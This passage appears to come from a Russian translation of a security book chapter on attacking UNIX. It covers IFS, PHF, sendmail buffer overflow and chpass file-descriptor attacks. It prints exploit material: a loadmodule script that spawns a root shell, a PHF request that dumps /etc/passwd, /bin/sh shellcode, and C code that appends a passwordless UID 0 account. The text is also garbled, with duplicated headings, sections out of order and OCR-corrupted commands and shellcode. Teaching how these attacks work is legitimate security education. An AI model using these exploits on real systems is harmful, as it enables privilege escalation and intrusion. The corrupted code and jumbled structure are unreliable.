Остальной материал данной главы разбит на две части, первый из которых посвящен использованию удаленного доступа, а второй — локального. Удаленный доступ (remote access) определяется как доступ к системе, получаемый по сети (например, через сетевую службу, находящуюся в состоянии ожидания) или по другим коммуникационным каналам. О локальном доступе (local access) говорят в тех случаях, когда в распоряжении взломщика уже имеется интерактивный доступ к командной оболочке (command shell) или учетная запись для регистрации в системе (login). Попытки взлома при наличии локального доступа называются также атаками, направленными на расширение привилегий (privilege escalation attack). Важно понимать взаимосвязь удаленного и локального доступа. Логическая последовательность выполняемых взломщиком действий заключается в проникновении с помощью удаленного доступа, используя какой-либо изъян в защите службы, находящейся в состоянии ожидания запросов, с последующим получением локального доступа к командной оболочке. После получения интерактивного доступа к командной строке взломщик считается локальным пользователем системы. Поэтому сначала мы попытаемся логически отделить те типы взломов, которые используются для получения удаленного доступа, а затем рассмотрим соответствующие примеры. После этого мы покажем типичные методы, с помощью которых хакер, получивший удаленный доступ, может расширить свои локальные привилегии с целью сбора информации о локальной системе. Впоследствии с помощью этой информации он может попытаться расширить сферу своего влияния. Необходимо подчеркнуть, что данная глава, конечно же, не является исчерпывающим руководством по обеспечению безопасности системы UNIX. Если вам нужна более подробная информация, можно порекомендовать книгу Practical UNIX & Internet Security Симеона Гарфинкеля (Simson Garfinkel) и Джена Спаффорда (Gene Spafford). Кроме того, ограниченный объем данной главы не позволяет включить в нее описание всех возможных методов проникновения в систему UNIX, особенно с учетом всего разнообразия ее клонов и версий. Мы лишь попытаемся определить категории возможных методов взлома и изложить их теоретические основы. При появлении новых методов атак эта информация позволит быстрее разобраться, как эти методы работают, даже если в литературе вы не найдете соответствующего описания. Как видите, мы предпочитаем не просто однократно "накормить голодного", а "научить его ловить рыбу, чтобы он смог сам прокормить себя в любое время".
Уязвимость UNIX
Уязвимость UNIX
Бытует мнение, что стремление получить доступ к системе UNIX в качестве пользователя root столь же неискоренимо, как наркотическая зависимость. Причина интереса к таким привилегиям уходит корнями в те времена, когда система UNIX только появилась на свет, поэтому мы предпримем небольшой исторический экскурс и напомним, как эта система возникла и как развивалась.
Упрощенная архитектура демилитаризованной зоны
Рисунок 8.1. Упрощенная архитектура демилитаризованной зоны
Предположим, что взломщик пытается получить доступ к Web-серверу, работающему под управлением операционной системы UNIX, который находится в сегменте так называемой "демилитаризованной зоны" (DMZ) — небольшой сети, размешенной за промышленным маршрутизатором или брандмауэром, защищающим внутреннюю сеть. Тип и модель брандмауэра или маршрутизатора не имеют особого значения. Важно лишь понимать, что такое устройство относится к классу маршрутизирующих брандмауэров, которые не выполняют функций сервера-посредника ни для одной из служб. Предположим, что единственные службы, которая поддерживается брандмауэром, — это HTTP (порт 80) и HTTP поверх SSL (HTTPS) (порт 443). Теперь предположим, что Web-сервер не может противостоять попыткам взлома, например, основанным на изъяне PHF. Кроме того, пусть Web-сервер работает на уровне привилегий пользователя nobody, что является широко распространенной практикой и считается хорошим решением с точки зрения безопасности. Таким образом, если взломщику удастся проникнуть на Web-сервер, используя недостатки в обработке ввода PHF, он сможет выполнять код на сервере с уровнем привилегий пользователя nobody. Это, конечно, важно, но возможность запуска выполняемого кода — лишь первый шаг в получении интерактивного доступа к командной оболочке.
Восстановление системы после использования
Восстановление системы после использования "набора отмычек"
Поскольку мы не можем предоставить исчерпывающее описание процедур выявления описанных вторжений, очень важно хотя бы упомянуть о различных мерах, к которым нужно прибегнуть в том случае, если прозвучит зловещий звонок. У вас может возникнуть вопрос: о каком звонке идет речь? Это может произойти примерно следующим образом. "Здравствуйте, я такой-то системный администратор. У меня имеются причины считать, что с ваших компьютеров предпринимаются попытки нападения на нашу сеть." "Этого не может быть, все выглядит абсолютно нормально", — отвечаете вы. Ваш собеседник говорит, что все проверит еще раз, а затем перезвонит еще раз. Так что у вас возникает специфическое ощущение, что позвонить мог лишь администратор, которым и была предпринята попытка взлома. Вам требуется определить, как и что произошло. Оставьте в стороне свое спокойствие и считайте, что любое выполняемое вами в системе действие может повлиять на возможность выявления вторжения. Даже при простом просмотре файла можно изменить время последнего доступа к нему. Для того чтобы не усугубить ситуацию случайными действиями, хорошо сразу же создать набор средств со статически скомпонованными двоичными файлами, а затем сравнить их с аналогичными файлами от поставщика программного обеспечения. Использовать статически скомпонованные двоичные файлы абсолютно необходимо, поскольку злоумышленники могли модифицировать совместно используемые файлы библиотек. Все эти действия должны быть выполнены до возникновения самого инцидента. Набор стандартных статически скомпонованных программ нужно поместить на гибкий диск или компакт-диск. В такой набор как минимум должны входить следующие утилиты.
ls su dd
ps login du
netstat grep lsof
w df top
finger sh file
Is -alRu > /floppy/timestamp_access.txt
Is -alRc > /floppy/timestamp_modification.txt
Is -alR > /floppy/timestamp_creation.txt
Кроме того, очень важно иметь под рукой и хороший план комплексных исследований еще до того момента, как произошло вторжение. He становитесь одним из многих администраторов, которые после обнаружения подобных прецедентов сразу же обращаются к властным структурам. Между этими двумя событиями имеется еще много промежуточных шагов.
Взлом IFS
Взлом IFS
Переменная IFS предназначена для отделения друг от друга слов, используемых в окружении командной оболочки. Обычно значением переменной IFS является символ пробела, который служит для разделения команд по умолчанию. Манипулируя переменной IFS, взломщик может запустить с помощью какой-нибудь SUID-программы "троянского коня" и получить, таким образом, привилегии суперпользователя. Обычно в этих целях используется сценарий командной оболочки с установленным флагом SUID, однако в рассматриваемом примере мы воспользуемся программой loadmodule.
Программа взлома loadmodule широко известна. Она была создана несколько лет назад и основана на использовании изъяна SunOS 4.1.x, связанного с переменной IFS.
#!/bin/csh
cd /trap
mkdir bin cd bin cat > bin « EOF<R #!/bin/sh
sh -I
EOF
chmod 755 /tmp/bin/bin
setenv IFS /
/usr/openwin/bin/loadmodule
/sys/sun4c/OBJ/evqmod-sun4c.о
/etc/openwin/modules/evqload
Взлом командной оболочки
Взлом командной оболочки
Командная оболочка UNIX представляет собой очень мощную программу, которая обеспечивает удобную работу пользователей. Одной из главных отличительных особенностей окружения командной оболочки UNIX является возможность программировать команды, а также устанавливать определенные параметры, влияющие на работу самой командной оболочки. Конечно же, как часто бывает в подобных ситуациях, богатые возможности имеют и обратную сторону, проявляющуюся в наличии многочисленных слабых мест с точки зрения обеспечения безопасности. Одним из самых популярных методов взлома является использование переменной IFS (Internal Field Separator).
Взлом при отсутствии проверки ввода
Взлом при отсутствии проверки ввода
В 1996 году Дженифер Майерс (Jennifer Myers) идентифицировал ставший впоследствии широко известным изъян PHF. Хотя атаки с использованием этого изъяна уже отошли в прошлое, на его примере очень хорошо видно, как может осуществляться взлом при отсутствии проверки ввода (input validation attack). Если вы разберетесь в основном механизме этого метода, то сможете применить полученные знания и к другим подобным подходам. В данной главе мы не будем посвящать много времени этой теме, поскольку она подробно рассматривается в главе 15. Наша цель — лишь показать, что из себя представляет взлом при отсутствии проверки ввода и как с его помощью злоумышленник может получить доступ к системе UNIX.
Для осуществления такой атаки необходимо, чтобы выполнялись следующие условия.
Программа не в состоянии распознать синтаксически некорректные данные.
Модуль воспринимает посторонние данные.
Модуль не в состоянии обработать ситуацию отсутствия определенных полей.
Возникает ошибка корреляции значений полей.
PHF— это сценарий CGI (Common Gateway Interface— интерфейс общего шлюза), ставший стандартом в ранних версиях Web-сервера Apache и сервера HTTPD центра NCSA (National Center for Supercomputing Applications — Национальный центр суперкомпьютерных приложений). К сожалению, эта программа не в состоянии ни правильно провести синтаксический анализ входных данных ни проверить их пригодность. Исходная версия сценария PHF принимала символ новой строки (%0а) и выполняла следующие за ним команды с привилегиями пользователя, запустившего Web-сервер. Поэтому сразу же был изобретен метод взлома PHF, показанный ниже.
/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
На момент написания этой книги данный код не мог выполнить ничего, кроме вывода файлов паролей с помощью команды cat. Конечно, эта информация может использоваться для определения идентификаторов пользователей, а также зашифрованных паролей (при условии, что пароли не содержатся в файле с повышенной защитой shadow). В большинстве случаев этого достаточно, чтобы даже неопытный злоумышленник смог взломать файл паролей и зарегистрироваться в системе. Опытный же взломщик сможет не только проникнуть в систему, но и получить прямой доступ к командной оболочке, как будет показано ниже в этой главе. Помните, что этот изъян позволяет взломщику выполнить любую команду с привилегиями пользователя, от имени которого запущен Web-сервер. В большинстве случаев, конечно, таким пользователем является nobody, однако, к сожалению, нередко встречаются узлы, на которых Web-сервер работает на уровне привилегий суперпользователя root, — ни больше, ни меньше!
В 1996-1997 годах взломы PHF были очень популярны. От этих простых, но очень эффективных приемов пострадали очень многие Web-узлы. Поскольку данный подход пригоден и для проведения других взломов при отсутствии проверки ввода, необходимо хорошо понимать, как именно данный изъян используется злоумышленниками. В системе UNIX имеются метасимволы, зарезервированные для специальных целей. К таким метасимволам относятся следующие (данный перечень не является исчерпывающим).
\ /<>!$% ^ & * | {}[]`"` ~ ;
Если программа (или сценарий CGI) принимает какие-то данные, вводимые пользователем, и не проверяет их корректность, то такая программа может подвергнуться взлому с помощью специально подобранного кода. Этот метод обычно называется "выбросом" (escaping out) в командную оболочку и позволяет передать в качестве параметра один из метасимволов UNIX. Данный подход очень распространен и не ограничивается одними лишь сценариями PHF. Имеются многочисленные примеры незащищенных программ CGI, входящих в базовый комплект поставки Web-серверов. Что еще хуже, многие уязвимые программы создаются "профессиональными" разработчиками Web-узлов, имеющими весьма смутное представление о безопасности. К сожалению, с развитием электронной коммерческой деятельности и появлением множества соответствующих приложений с дополнительным набором функций (увеличивающих, соответственно, их сложность), количество таких взломов только возрастает.
Взлом путем переполнения буфера
Взлом путем переполнения буфера
В ноябре 1996 года подходы к компьютерной безопасности изменились раз и навсегда. Ведущий списка рассылки Bugtraq Алеф Ван (Aleph One) опубликовал в номере 49 журнала Phrack Magazine, посвященного вопросам безопасности, статью под названием "Разрушение стека для развлечения и извлечения выгоды" (Smashing The Stack For Fun And Profit). Эта статья произвела колоссальный эффект на состояние дел в сфере обеспечения безопасности, поскольку в ней очень ясно показано, как практика некачественного программирования может привести к нарушению безопасности путем переполнения буфера. Первые упоминания об использовании этой методологии датируются 1988 годом в связи с нашумевшим делом о сетевом черве Роберта Морриса (Robert Morris), однако полезной информации о ее конкретных подробностях не было вплоть до 1996 года.
Состояние переполнения буфера (buffer overflow) возникает тогда, когда пользователь или процесс пытается поместить в буфер (или массив фиксированного размера) данных больше, чем для этого выделено памяти программистом. Подобная ситуация зачастую связана с использованием таких функций языка С, как strcpy (), strcat (} и sprintf (), а также ряда других. Переполнение буфера обычно приводит к генерации ошибки нарушения сегментации. Однако это состояние может вызываться преднамеренно с целью получения доступа к системе. Хотя мы рассматриваем методы взлома с помощью удаленного доступа, переполнение буфера может происходить и в локальных программах, о чем мы поговорим несколько позже. Для того чтобы лучше понять, как этот метод взлома срабатывает на практике, давайте рассмотрим один очень простой пример.
Допустим, для вводимых данных в программе выделяется буфер фиксированного размера 128 байт. Предположим, что этот буфер создается для размещения данных, поступающих от команды VRFY программы sendmail. Как вы помните из главы 3, эта команда использовалась для того, чтобы установить потенциальных пользователей по их почтовым адресам. Предположим также, что sendmail запущена в контексте прав SU1D пользователя root и пользуется его привилегиями (во многих системах этот так и есть, хотя и не всегда). Что произойдет, если взломщик подключится к демону sendmail и отправит в качестве параметра команды VRFY строку состоящую из 1000 символов а, а не короткое имя пользователя?
echo "vrfy 'perl -е 'print "a" x 1000''" |nс www.targetsystem.com 25
Поскольку буфер, предназначенный для хранения параметра VRFY, имеет размер всего 128 байт, возникнет ситуация его переполнения. Это может привести к генерации состояния DoS и аварийному завершению демона sendmail. Однако более опасными являются ситуации, когда программа, буфер которой переполнился, продолжает работать и выполняет при этом программный код, переданный ей в виде избыточных данных. Именно это и является основным смыслом рассматриваемой в данном разделе атаки.
Вместо того, чтобы отправлять бессмысленную строку, состоящую из 1000 символов а, взломщик, скорее, передаст определенный набор кодов, который после переполнения буфера выполнит команду /bin/sh. Если, как мы условились, sendmail работает с привилегиями суперпользователя, то после запуска /bin/sh взломщик сразу же сможет получить доступ в качестве суперпользователя. Возможно, вы никак не можете понять, каким же образом программа sendmail узнает, что ей нужно выполнить команду /bin/sh? Все очень просто. В процессе взлома в качестве параметра команде VRFY передается строка, содержащая некоторый ассемблерный код, призванный вызвать переполнение буфера. При переполнении буфера адрес возврата переустанавливается на код, переданный хакером, что позволяет последнему получить полный контроль над программой. Иными словами, вместо возврата управления из функции по нужному адресу выполняется некоторый код взломщика, передаваемый в этом же пакете данных и запускающий команду /bin/sh.
Конечно, необходимо помнить, что ассемблерный код очень сильно зависит от архитектуры и используемой операционной системы. Поэтому данные, используемые для переполнения буфера системы Solaris, установленной на компьютерах с процессорами Intel, не имеют ничего общего с данными, предназначенных для взлома системы Solaris компьютеров SPARC. Следующий пример показывает, как выглядит машинный код (такой код еще называют "яйцом" (egg), по аналогии с яйцами кукушки, которые она подкладывает в чужие гнезда), предназначенный переполнения буфера на платформе Linux X86.
char shellcode[]= "\xeb\xlf\x5e\x89\x76\x08\x31\xcO\
x88\x46\x07\x89\x46\xOc\xbO\xOb"
"\x89\xf3\x8d\x4e\x08\x8d\x56\xOc\xcd\
x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
Взлом с использованием данных
Взлом с использованием данных
Обсудив "притчу во языцах" — взлом с помощью подбора паролей, — можно перейти к другому методу, также ставшему стандартом "де факто" при получении удаленного доступа. Этот метод заключается в использовании для взлома определенных данных (data driven attack), отправляемых активной службе, что позволяет получить неожиданные или нежелательные результаты. Конечно, формулировка "неожиданные или нежелательные" достаточно субъективна. Все зависит от того, кто вы — хакер или же программист, разработавший соответствующую службу. С точки зрения взломщика, результат может быть более чем желательным, поскольку в этом случае он сможет получить доступ к интересующему его компьютеру. С точки зрения же программиста, программа, получившая данные, к приему которых она не была готова, выдает нежелательные результаты. Методы взлома с использованием данных можно разделить на две категории: атака путем переполнения буфера и взлом при отсутствии проверки ввода. В последующих подразделах каждая из этих категорий будет рассмотрена более подробно.
Взлом с помощью дескриптора файла
Взлом с помощью дескриптора файла
Дескрипторы файлов (file descriptor) — это неотрицательные целые числа, которые используются системой для управления файлами. Дескрипторы позволяют облегчить работу операционной системы, устраняя необходимость манипуляции именами файлов. В соответствии с принятыми соглашениями, дескрипторы 0, 1 и 2 определяют стандартный входной поток, стандартный выходной поток и стандартный поток ошибок соответственно. Таким образом, когда функции ядра открывают существующий файл или создают новый, они возвращают определенный дескриптор, который может использоваться программой для выполнения над этим файлом операций чтения/записи. Если дескриптор соответствует файлу, который был открыт для чтения и записи (O_RDWR) привилегированным процессом, то во время модификации этого файла взломщик может получить к нему доступ и произвести в него запись. Таким образом, с помощью этого метода можно модифицировать один из важных системных файлов и получить доступ на уровне суперпользователя.
Достаточно неожиданно, что даже такая надежная система, как OpenBSD версии 2.3, была подвержена взлому с помощью дескриптора файла. Оливер Фридрихе (Oliver Friedrichs) установил, что команда chpass, применяемая для модификации некоторой информации, хранящейся в файле паролей, некорректно обрабатывала дескрипторы файлов. При запуске chpass создавался временный файл, который мог модифицировать любой пользователь с помощью какого-нибудь текстового редактора. Любые изменения снова заносились в базу данных паролей, как только пользователь закрывал редактор. К сожалению, если взломщик выполнял временный выход в командную оболочку, то порождался дочерний процесс, имеющий права доступа на чтение/запись дескрипторов файлов родительского процесса. Взломщику оставалось лишь модифицировать временный файл (/tmp/ptmp), созданный командой chpass, добавив в него учетную запись с UID 0 без пароля. Как только он, вернувшись в редактор, закрывал его, все изменения немедленно заносились в файл /etc/master.passwd. После этого для получения доступа в качестве суперпользователя взломщику оставалось лишь воспользоваться только что созданной учетной записью. Давайте посмотрим, как это можно выполнить на практике.
Сначала изменим используемый по умолчанию редактор на vi, поскольку во время работы он позволяет получить доступ к командной строке. [dinky]$ export EDITOR=vi
Затем запускаем программу chpass. [dinky]$ /usr/bin/chpass
Это, в свою очередь, приведет к запуску vi с открытием информации из базы данных текущего пользователя.
#Chanqing user database information for gk.
Shell: /bin/sh
Full Name: grk
Location:
Office Phone:
Home Phone: blah
Теперь только что запущенная командная оболочка имеет унаследованный доступ к дескриптору открытого файла. Воспользуемся описанным подходом и добавим в файл паролей учетную запись с UID 0.
[dinky]$ nohup ./chpass &
[1] 24619
$ sending output to nohup.out
[1] + Done nohup ./chpass
[dinky]$ exit
Press any key to continue
[: to enter more ex commands]:
/etc/pw.F26119: 6 lines, 117 characters.
[dinky]$ su owned
[dinky]# id
uid=0(owned) gid=0(wheel) groups=0(wheel)
int
main () {
FILE *f;
int count; f = fdopen (FDTOUSE, "a");
for (count = 0; count != 30000; count++)
fprintf (f, "owned::0:0::0:0:OWNED,,,:/tmp:/bin/bash\n");
exit (0) ; }
Защита от подбора паролей "в лоб"
Защита от подбора паролей "в лоб"
Наилучшим способом защиты от подбора пароля является использование трудно угадываемых паролей. В идеальном случае желательно использовать механизм одноразовых паролей. Существует ряд бесплатных утилит (табл. 8.1), с помощью которых решение задачи подбора пароля можно значительно затруднить.